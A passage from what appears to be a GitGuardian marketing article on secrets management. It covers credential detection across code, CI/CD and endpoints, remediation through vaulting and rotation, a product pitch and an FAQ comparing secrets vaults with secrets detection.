Detect everywhere else: Detection coverage should follow the lifecycle of the credential. While it is still vital to scan source code and Git history, teams also need to account for CI/CD systems, collaboration tools, developer endpoints, and public platforms like GitHub and DockerHub.
Close the loop: vault, rotate, and plan to migrate: Every finding needs its own remediation plan. That likely will mean quickly rotating or revoking any exposed credentials that are already vaulted. Use tools that can automatically move any discovered unmanaged secrets into an approved vault and account for that in code. Over time, teams need to employ identity-based approaches like OIDC and SPIFFE/SPIRE that are the only real cure to reduce how many secrets need to exist at all.
Prioritize by validity and reach: Teams need to quickly know which secrets bring the most risk. Credentials that still authenticate are a good start, but not the whole story. Just as important, especially for secrets that can not be verified, is what the key can access and how widely it was exposed to decide what comes first.
Guard the commit and the endpoint: Good developer tooling puts controls in place that eliminate the need for later remediation work. Pre-commit hooks keep secrets out of Git history. AI hooks stop coding agents from writing or using secrets. Endpoint detection finds credentials already stored locally.
Report your true secrets security coverage: Leadership needs to see that vault coverage is growing, and operational metrics, like time-to-revoke is falling. Auditors need to know when your SecOps workflows began and if remediation can be verified. Without an inventory to report from, these are impossible to deliver from a dashboard.

Together, these practices give you a program that can find credential risk, prioritize it, remove it, and prove the process is working.

How GitGuardian complements your secrets vault

GitGuardian provides the detection and discovery layer for the whole credential layer throughout your organization. Yes, it does safely map and inventory the secrets in your vaults. However, the platform finds credentials that were created outside the managed process and identifies copies that escaped after legitimate use.

GitGuardian provides holistic credential layer Coverage. Your team gets unparalleled visibility across source code repositories, CI/CD environments, public exposure, and developer endpoints. The platform uses specific secret detectors, finding known patterns, and generic detectors with contextual analysis, which eliminates false positives and finds secrets that don't match a fixed pattern.

Developer controls help stop new exposures closer to where they originate. ggshield is installed on hundreds of thousands of developer machines and CI/CD pipelines. We know the earlier any secrets are detected in the software development lifecycle, the easier it is to remediate. And now, GitGuardian's developer endpoint protection extends visibility into credentials already stored on local machines and inside emerging AI workflows, giving teams a way to inventory and deal with those risks before an incident occurs.

Public exposure adds another dimension. GitGuardian monitors for organizational secrets beyond repositories the company directly controls, while HasMySecretLeaked provides a way to determine whether a specific secret has appeared in GitGuardian's public exposure dataset.

If any secret is found, the platform streamlines incident response, including context. Integrations with SaaS platforms and IdP providers, Kubernetes, and CI/CD systems to show how a credential is being used and what permissions it grants, helping responders rotate secrets faster. This context lets you know what systems are most resilient if a secret was to leak and where things need to be escalated during an incident.

GitGuardian integrates with all leading secrets managers, including HashiCorp Vault, CyberArk, and AWS Secrets Manager. This integration works in both directions. Context helps teams understand whether a discovered credential is already managed, duplicated, or sitting entirely outside the approved process. With the platform's Push-to-Vault feature, teams can quickly move any secrets found outside proper management.

Your secrets security workflow needs to support the full credential lifecycle. Continual detection should catch every credential, wherever it appears. Teams need straightforward ways to prioritize any incidents, weeding out the low-risk ones automatically. Remediation should be automated as far as possible.

Vaulting in secrets managers remains the foundation for managing approved credentials. Detection gives security teams the visibility and evidence required to understand how well that foundation is working across the wider enterprise.

Book a demo to see how GitGuardian can complement your existing secrets vault and help measure credential risk across your environment.

FAQ

What does "secrets management" mean?

Secrets management is the process of controlling credentials throughout their lifecycle. It includes secure creation, storage, access, distribution, rotation, revocation, and retirement.

A complete program also needs visibility into credentials that exist outside approved storage. That allows teams to discover exposures and bring unmanaged credentials back under control.

Which secrets management tool is the best?

The right tool depends on the organization's architecture and the job the tool needs to perform.

Secrets vaults are designed to securely store and serve managed credentials. Detection platforms find credentials that appear outside that managed environment. Mature programs commonly use both capabilities because they address different parts of the credential lifecycle.

The GitGuardian guide to secrets management tools provides a deeper comparison of available approaches.

What is the difference between a secrets vault and secrets detection?

A secrets vault securely stores credentials and governs how applications and workloads access them. Secrets detection searches for credentials that appear elsewhere, including code, pipelines, public sources, and developer machines.

The vault provides the intended system of record. Detection measures the wider credential exposure and helps identify where policy and practice have diverged.

Do you need both a secrets vault and a secrets detection tool?

Organizations with a meaningful software development footprint benefit from both.

The vault manages credentials already enrolled in the approved system. Detection identifies secrets that were created elsewhere or copied outside that system during normal work.

Using both provides stronger inventory, faster remediation, and better evidence that secrets management policies are working.

Can secrets management be audited for security purposes?

Yes. Vault records can provide evidence around access, rotation, and credential lifecycle activity.

Detection adds evidence about credentials found outside approved management, how quickly exposures are resolved, and whether those credentials remain valid after remediation.

Together, these measurements help demonstrate control effectiveness rather than simply documenting that a secrets management control exists.